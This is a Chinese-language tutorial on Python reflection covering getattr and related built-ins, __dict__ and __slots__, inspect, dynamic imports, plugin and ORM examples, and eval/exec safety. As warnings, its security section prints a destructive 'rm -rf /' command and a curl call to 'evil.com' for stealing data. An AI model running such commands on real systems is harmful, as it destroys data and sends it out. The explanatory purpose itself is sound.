Python 反射机制详解:核心函数、高级用法与实战
1. 什么是反射(Reflection)
1.1 定义与核心概念
反射(Reflection) 是指程序在运行时能够:
- 检查(inspect)对象的类型、属性、方法
- 访问(access)对象的属性和方法
- 修改(modify)对象的属性和方法
- 调用(invoke)对象的方法
Python 反射允许程序在运行时检查、访问、修改对象及调用方法。本文详解 getattr、setattr、hasattr 等核心函数,探讨 __dict__ 与 __slots__ 属性机制,深入 inspect 模块与动态导入技术。结合插件系统、ORM 映射及序列化实战案例,分析性能开销与安全策略,提供白名单验证与最佳实践建议,帮助开发者掌握动态编程能力。
反射(Reflection) 是指程序在运行时能够:
简单来说:反射 = 运行时的动态操作能力
Python 是一门动态类型语言,天然支持反射:
| 特性 | 说明 |
|---|---|
| 动态类型 | 变量类型在运行时确定 |
| 一切皆对象 | 类、函数、模块都是对象 |
| 内置反射函数 | getattr, setattr, hasattr 等 |
| 丰富的元数据 | __dict__, __class__, __module__ 等 |
| 概念 | 定义 | 示例 |
|---|---|---|
| 内省(Introspection) | 只读取对象信息,不修改 | type(), dir(), isinstance() |
| 反射(Reflection) | 读取 + 修改 + 调用 | getattr(), setattr(), delattr() |
结论:内省是反射的子集,Python 两者都支持。
反射使代码更加灵活和可扩展:
# 静态方式:硬编码
if action == "create":
obj.create()
elif action == "update":
obj.update()
elif action == "delete":
obj.delete()
# 反射方式:动态调用
method = getattr(obj, action)
method()
优势:
| 场景 | 说明 | 示例 |
|---|---|---|
| 框架开发 | 自动路由、ORM 映射 | Django, Flask, SQLAlchemy |
| 插件系统 | 动态加载第三方模块 | Pytest 插件机制 |
| 序列化 | 对象 ↔ JSON/XML/DB | json.dumps(), Pickle |
| 配置驱动 | 根据配置文件动态创建对象 | 工厂模式 |
| 测试框架 | 自动发现测试用例 | unittest, pytest |
| 调试工具 | 运行时查看对象状态 | pdb, ipdb |
getattr() - 获取属性/方法语法:
getattr(object, name[, default])
功能:
default(若未提供则抛出 AttributeError)示例:
class Person:
def __init__(self, name, age):
self.name = name
self.age = age
def greet(self):
return f"Hello, I'm {self.name}"
p = Person("Alice", 30)
# 获取属性
name = getattr(p, "name") # "Alice"
salary = getattr(p, "salary", 0) # 不存在,返回默认值 0
# 获取方法
greet_func = getattr(p, "greet")
print(greet_func()) # "Hello, I'm Alice"
# 动态调用
attr_name = input("输入属性名:") # 用户输入 "age"
value = getattr(p, attr_name, None)
print(value) # 30
等价写法:
# getattr(obj, "name") 等价于 obj.name
# 静态访问 obj.__dict__["name"] 字典访问
setattr() - 设置属性语法:
setattr(object, name, value)
功能:
示例:
class Config:
pass
config = Config()
# 动态设置属性
setattr(config, "host", "localhost")
setattr(config, "port", 8080)
print(config.host) # "localhost"
print(config.port) # 8080
# 批量设置
settings = {"debug": True, "timeout": 30}
for key, value in settings.items():
setattr(config, key, value)
print(config.debug) # True
等价写法:
# setattr(obj, "name", value) 等价于 obj.name = value
obj.__dict__["name"] = value
hasattr() - 检查属性是否存在语法:
hasattr(object, name)
功能:
True 或 False示例:
class Dog:
def __init__(self, name):
self.name = name
def bark(self):
return "Woof!"
dog = Dog("Buddy")
print(hasattr(dog, "name")) # True
print(hasattr(dog, "age")) # False
print(hasattr(dog, "bark")) # True
# 安全的属性访问
if hasattr(dog, "age"):
print(dog.age)
else:
print("Dog has no age attribute")
内部实现:
# hasattr 等价于
try:
getattr(obj, name)
return True
except AttributeError:
return False
delattr() - 删除属性语法:
delattr(object, name)
功能:
AttributeError示例:
class User:
def __init__(self, username, password):
self.username = username
self.password = password
user = User("admin", "secret123")
# 删除敏感属性
delattr(user, "password")
print(hasattr(user, "password")) # False
# 等价写法
del user.username
dir() - 列出所有属性和方法语法:
dir([object])
功能:
示例:
class MyClass:
class_var = "I'm a class variable"
def __init__(self):
self.instance_var = "I'm an instance variable"
def my_method(self):
pass
obj = MyClass()
# 查看所有属性和方法
print(dir(obj)) # ['__class__', '__delattr__', '__dict__', ..., 'class_var', 'instance_var', 'my_method']
# 过滤出用户定义的属性
user_attrs = [attr for attr in dir(obj) if not attr.startswith("_")]
print(user_attrs) # ['class_var', 'instance_var', 'my_method']
vars() - 返回对象的 __dict__语法:
vars([object])
功能:
__dict__ 属性(属性字典)示例:
class Book:
category = "fiction" # 类属性
def __init__(self, title, author):
self.title = title
self.author = author
book = Book("1984", "Orwell")
print(vars(book)) # {'title': '1984', 'author': 'Orwell'}
print(book.__dict__) # 等价
# 修改属性
vars(book)["price"] = 19.99
print(book.price) # 19.99
注意:
vars() 只返回实例属性vars(MyClass) 或 MyClass.__dict__ 获取| 函数 | 功能 | 示例 |
|---|---|---|
type(obj) | 获取对象的类型 | type(123) → <class 'int'> |
isinstance(obj, class) | 判断对象是否是某类的实例 | isinstance([], list) → True |
callable(obj) | 判断对象是否可调用 | callable(print) → True |
id(obj) | 获取对象的内存地址 | id("hello") |
综合示例:
def process_object(obj):
print(f"类型:{type(obj)}")
print(f"ID: {id(obj)}")
print(f"是否可调用:{callable(obj)}")
print(f"属性列表:{[a for a in dir(obj) if not a.startswith('_')]}")
process_object(lambda x: x * 2) # 类型:<class 'function'>
# 是否可调用:True
# 属性列表:['__annotations__', '__call__', ...]
__dict__ 属性字典核心概念:
__dict__ 字典中示例:
class Point:
def __init__(self, x, y):
self.x = x
self.y = y
p = Point(10, 20)
print(p.__dict__) # {'x': 10, 'y': 20}
# 直接修改 __dict__
p.__dict__["z"] = 30
print(p.z) # 30
# 动态添加属性
p.color = "red"
print(p.__dict__) # {'x': 10, 'y': 20, 'z': 30, 'color': 'red'}
类属性 vs 实例属性:
class Counter:
count = 0 # 类属性
def __init__(self, name):
self.name = name # 实例属性
c1 = Counter("A")
c2 = Counter("B")
print(c1.__dict__) # {'name': 'A'}
print(Counter.__dict__["count"]) # 0
# 修改类属性
Counter.count = 10
print(c1.count) # 10(通过继承访问)
print(c2.count) # 10
__slots__ 限制属性问题:__dict__ 占用内存,对于大量实例不友好
解决方案:使用 __slots__ 预定义属性
示例:
class Point2D:
__slots__ = ["x", "y"] # 只允许这两个属性
def __init__(self, x, y):
self.x = x
self.y = y
p = Point2D(5, 10)
# 无法动态添加新属性
try:
p.z = 15
except AttributeError as e:
print(e) # 'Point2D' object has no attribute 'z'
# 没有 __dict__
print(hasattr(p, "__dict__")) # False
对比:
| 特性 | __dict__ | __slots__ |
|---|---|---|
| 内存占用 | 较大(每个实例一个字典) | 较小(固定大小) |
| 动态属性 | 支持 | 不支持 |
| 访问速度 | 稍慢 | 稍快 |
| 适用场景 | 灵活的对象 | 大量相同结构的实例 |
查找流程:
__dict____dict____dict__(按 MRO 顺序)AttributeError示例:
class Animal:
species = "Unknown"
class Dog(Animal):
species = "Canine"
dog = Dog()
dog.species = "My Dog"
print(dog.species) # "My Dog"(实例属性优先)
del dog.species
print(dog.species) # "Canine"(类属性)
Dog.species = "Deleted"
print(dog.species) # "Deleted"
查看 MRO:
print(Dog.__mro__) # (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>)
inspect 模块深入inspect 模块提供了更强大的反射功能:
import inspect
def greet(name: str, age: int = 18, *, city: str = "Beijing") -> str:
return f"{name}, {age}, from {city}"
# 获取签名
sig = inspect.signature(greet)
print(sig) # (name: str, age: int = 18, *, city: str = 'Beijing') -> str
# 获取参数信息
for param_name, param in sig.parameters.items():
print(f"{param_name}: {param.annotation}, 默认值={param.default}")
import inspect
class MyClass:
def method(self):
pass
# 判断是否是类
print(inspect.isclass(MyClass)) # True
# 判断是否是函数
print(inspect.isfunction(MyClass.method)) # True
# 判断是否是方法
obj = MyClass()
print(inspect.ismethod(obj.method)) # True
# 获取类的所有成员
members = inspect.getmembers(MyClass)
for name, value in members:
if not name.startswith("_"):
print(f"{name}: {value}")
import inspect
def fibonacci(n):
"""计算斐波那契数列"""
if n <= 1:
return n
return fibonacci(n-1) + fibonacci(n-2)
# 获取函数源代码
source = inspect.getsource(fibonacci)
print(source)
# 获取文档字符串
doc = inspect.getdoc(fibonacci)
print(doc) # "计算斐波那契数列"
方式一:使用 __import__()
# 传统方式
import math
# 动态导入
module_name = "math"
math_module = __import__(module_name)
print(math_module.pi) # 3.141592653589793
方式二:使用 importlib(推荐)
import importlib
# 动态导入模块
module_name = "json"
json_module = importlib.import_module(module_name)
data = json_module.dumps({"key": "value"})
print(data) # '{"key": "value"}'
# 重新加载模块(开发中调试用)
importlib.reload(json_module)
实战:插件系统
import importlib
import os
def load_plugins(plugin_dir):
"""动态加载插件目录下的所有插件"""
plugins = []
for filename in os.listdir(plugin_dir):
if filename.endswith(".py") and not filename.startswith("_"):
module_name = filename[:-3] # 去掉 .py
module = importlib.import_module(f"plugins.{module_name}")
plugins.append(module)
return plugins
# 使用
# plugins = load_plugins("./plugins")
# for plugin in plugins:
# plugin.run()
type() 创建类基础语法:
# 正常定义类
class MyClass:
x = 10
# 使用 type() 动态创建
MyClass2 = type("MyClass2", (object,), {"x": 10})
print(MyClass2.x) # 10
完整示例:
# 定义方法
def greet(self):
return f"Hello from {self.name}"
def __init__(self, name):
self.name = name
# 动态创建类
Person = type("Person",
(object,), # 父类元组
{
# 类属性和方法
"__init__": __init__,
"greet": greet,
"species": "Human"
})
# 使用动态创建的类
p = Person("Alice")
print(p.greet()) # "Hello from Alice"
print(p.species) # "Human"
types.FunctionType 创建函数import types
# 创建函数
code = compile("return x + y", "<string>", "eval")
add_func = types.FunctionType(code, globals(), "add", (0, 0))
print(add_func(5, 3)) # 8
exec() 动态执行代码# 动态定义类
class_code = """
class Calculator:
def add(self, a, b):
return a + b
def multiply(self, a, b):
return a * b
"""
namespace = {}
exec(class_code, namespace)
Calculator = namespace["Calculator"]
calc = Calculator()
print(calc.add(10, 5)) # 15
⚠️ 安全警告:
exec() 和 eval() 执行任意代码,存在安全风险exec() 或 eval()需求:根据配置文件动态加载不同的数据处理器
# plugins/csv_processor.py
class CsvProcessor:
def process(self, data):
return f"Processing CSV: {data}"
# plugins/json_processor.py
class JsonProcessor:
def process(self, data):
return f"Processing JSON: {data}"
# main.py
import importlib
def load_processor(processor_name):
"""动态加载处理器"""
module = importlib.import_module(f"plugins.{processor_name.lower()}_processor")
class_name = f"{processor_name.capitalize()}Processor"
return getattr(module, class_name)
# 使用
config = {"processor": "json"} # 从配置文件读取
ProcessorClass = load_processor(config["processor"])
processor = ProcessorClass()
print(processor.process("sample data")) # "Processing JSON: sample data"
需求:将对象属性映射到数据库字段
class Model:
"""简易 ORM 基类"""
def save(self):
"""将对象保存到数据库(伪代码)"""
table_name = self.__class__.__name__.lower()
fields = []
values = []
# 反射获取所有属性
for attr, value in vars(self).items():
if not attr.startswith("_"):
fields.append(attr)
values.append(repr(value))
sql = f"INSERT INTO {table_name} ({', '.join(fields)}) VALUES ({', '.join(values)})"
print(f"执行 SQL: {sql}")
return sql
class User(Model):
def __init__(self, username, email):
self.username = username
self.email = email
# 使用
user = User("alice", "[email protected]")
user.save() # 执行 SQL: INSERT INTO user (username, email) VALUES ('alice', '[email protected]')
需求:将对象转换为 JSON
import json
class Student:
def __init__(self, name, age, grade):
self.name = name
self.age = age
self.grade = grade
def to_dict(self):
"""使用反射将对象转为字典"""
return {k: v for k, v in vars(self).items() if not k.startswith("_")}
@classmethod
def from_dict(cls, data):
"""从字典创建对象"""
return cls(**data)
# 序列化
student = Student("Bob", 15, "A")
json_str = json.dumps(student.to_dict())
print(json_str) # '{"name": "Bob", "age": 15, "grade": "A"}'
# 反序列化
data = json.loads(json_str)
new_student = Student.from_dict(data)
print(new_student.name) # "Bob"
需求:根据 URL 自动调用对应的处理函数
class Router:
def __init__(self):
self.routes = {}
def route(self, path):
"""装饰器:注册路由"""
def decorator(func):
self.routes[path] = func
return func
return decorator
def dispatch(self, path, *args, **kwargs):
"""根据路径调用对应函数"""
if path in self.routes:
handler = self.routes[path]
return handler(*args, **kwargs)
else:
return "404 Not Found"
# 使用
router = Router()
@router.route("/home")
def home():
return "Welcome to Home Page"
@router.route("/about")
def about():
return "About Us"
# 动态调用
print(router.dispatch("/home")) # "Welcome to Home Page"
print(router.dispatch("/about")) # "About Us"
print(router.dispatch("/404")) # "404 Not Found"
实验对比:
import timeit
class MyClass:
def __init__(self):
self.value = 42
def get_value(self):
return self.value
obj = MyClass()
# 直接访问
def direct_access():
return obj.value
# 反射访问
def reflection_access():
return getattr(obj, "value")
# 性能测试
direct_time = timeit.timeit(direct_access, number=1000000)
reflection_time = timeit.timeit(reflection_access, number=1000000)
print(f"直接访问:{direct_time:.4f}s")
print(f"反射访问:{reflection_time:.4f}s")
print(f"反射慢了:{reflection_time / direct_time:.2f}x") # 典型结果:反射慢 2-3 倍
结论:
eval() 和 exec()问题:可执行任意 Python 代码
# 危险示例(永远不要这样做)
user_input = "__import__('os').system('rm -rf /')"
# 恶意代码
eval(user_input) # 💀 系统被删除
# 攻击示例
user_input = "__import__('subprocess').call(['curl', 'evil.com/steal_data'])"
exec(user_input) # 💀 数据泄露
安全替代方案:
import ast
# 方案 1: 使用 ast.literal_eval(仅支持字面量)
safe_data = ast.literal_eval("{'key': 'value', 'number': 123}")
print(safe_data) # {'key': 'value', 'number': 123}
# 方案 2: 限制命名空间
safe_namespace = {"__builtins__": {}}
eval("1 + 1", safe_namespace) # 安全
# eval("open('/etc/passwd')", safe_namespace) # 报错
# 方案 3: 使用白名单
allowed_attrs = {"add", "subtract", "multiply"}
attr = "add"
if attr in allowed_attrs:
method = getattr(calculator, attr)
| 原则 | 说明 | 示例 |
|---|---|---|
| 最小权限 | 只暴露必要的属性和方法 | 使用 __slots__ 或属性验证 |
| 白名单 | 明确允许的操作,而非黑名单 | if attr in ALLOWED: ... |
| 输入验证 | 永远不要信任用户输入 | 检查类型、长度、格式 |
| 避免 eval/exec | 使用 ast.literal_eval 或解析库 | JSON: json.loads() |
| 日志审计 | 记录反射操作 | logging.info(f"Accessed {attr}") |
安全的动态调用模式:
class SafeAPI:
ALLOWED_METHODS = {"get_data", "save_data"}
def get_data(self):
return "data"
def save_data(self, data):
print(f"Saving: {data}")
def _internal_method(self):
"""内部方法,不应被外部调用"""
pass
def execute(self, method_name, *args, **kwargs):
"""安全的动态调用"""
# 1. 检查白名单
if method_name not in self.ALLOWED_METHODS:
raise ValueError(f"Method {method_name} not allowed")
# 2. 检查方法是否存在
if not hasattr(self, method_name):
raise AttributeError(f"Method {method_name} not found")
# 3. 获取并调用
method = getattr(self, method_name)
return method(*args, **kwargs)
# 使用
api = SafeAPI()
api.execute("get_data") # ✅ 安全
# api.execute("_internal_method") # ❌ 抛出异常
| 场景 | 推荐方式 | 原因 |
|---|---|---|
| 固定的少量选项 | 硬编码(if-else) | 性能更好,代码更清晰 |
| 大量可扩展的选项 | 反射 | 易于维护,可扩展 |
| 用户输入驱动 | 反射(带验证) | 灵活,但需安全措施 |
| 性能关键路径 | 硬编码 | 避免反射开销 |
错误示例:
# ❌ 过度使用反射
def process(action):
return getattr(self, action)() # 危险!
# ✅ 合理的反射
ACTIONS = {"create", "update", "delete"}
def process(action):
if action not in ACTIONS:
raise ValueError("Invalid action")
return getattr(self, action)()
| 情况 | 原因 | 替代方案 |
|---|---|---|
| 性能敏感 | 反射慢 2-5 倍 | 直接访问或缓存 |
| 固定逻辑 | 增加复杂度 | 硬编码 |
| 类型安全 | 运行时错误 | 静态类型检查(Type Hints) |
| 安全关键 | 易被攻击 | 白名单 + 验证 |
| 语言 | 反射支持 | 特点 |
|---|---|---|
| Python | ✅ 原生支持 | 动态类型,简单易用 |
| Java | ✅ java.lang.reflect | 强类型,API 复杂 |
| C++ | ❌ 无原生支持 | 可通过 RTTI 部分实现 |
| Go | ✅ reflect 包 | 性能较好,语法复杂 |
| JavaScript | ✅ 原生支持 | 动态类型,与 Python 类似 |
@property 的底层机制with 语句的反射应用getattr, setattr, hasattr, delattr, dir, varsinspect 模块、动态导入、type() 创建类getattr/setattr/hasattr/delattr__dict__ 和 __slots__ 的差异inspect 模块的常用功能eval/exec 的滥用# 获取属性
getattr(obj, "attr", default)
# 设置属性
setattr(obj, "attr", value)
# 检查属性
hasattr(obj, "attr")
# 删除属性
delattr(obj, "attr")
# 列出所有属性
dir(obj)
# 获取属性字典
vars(obj) # 等价于 obj.__dict__
# 动态导入
import importlib
module = importlib.import_module("module_name")
# 动态创建类
MyClass = type("MyClass", (BaseClass,), {"attr": value})
# 获取函数签名
import inspect
inspect.signature(func)
def safe_call(obj, method_name, *args, **kwargs):
"""安全的动态方法调用"""
# 1. 白名单检查
if method_name not in ALLOWED_METHODS:
raise ValueError(f"Method {method_name} not allowed")
# 2. 存在性检查
if not hasattr(obj, method_name):
raise AttributeError(f"Method {method_name} not found")
# 3. 可调用性检查
method = getattr(obj, method_name)
if not callable(method):
raise TypeError(f"{method_name} is not callable")
# 4. 执行
return method(*args, **kwargs)

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online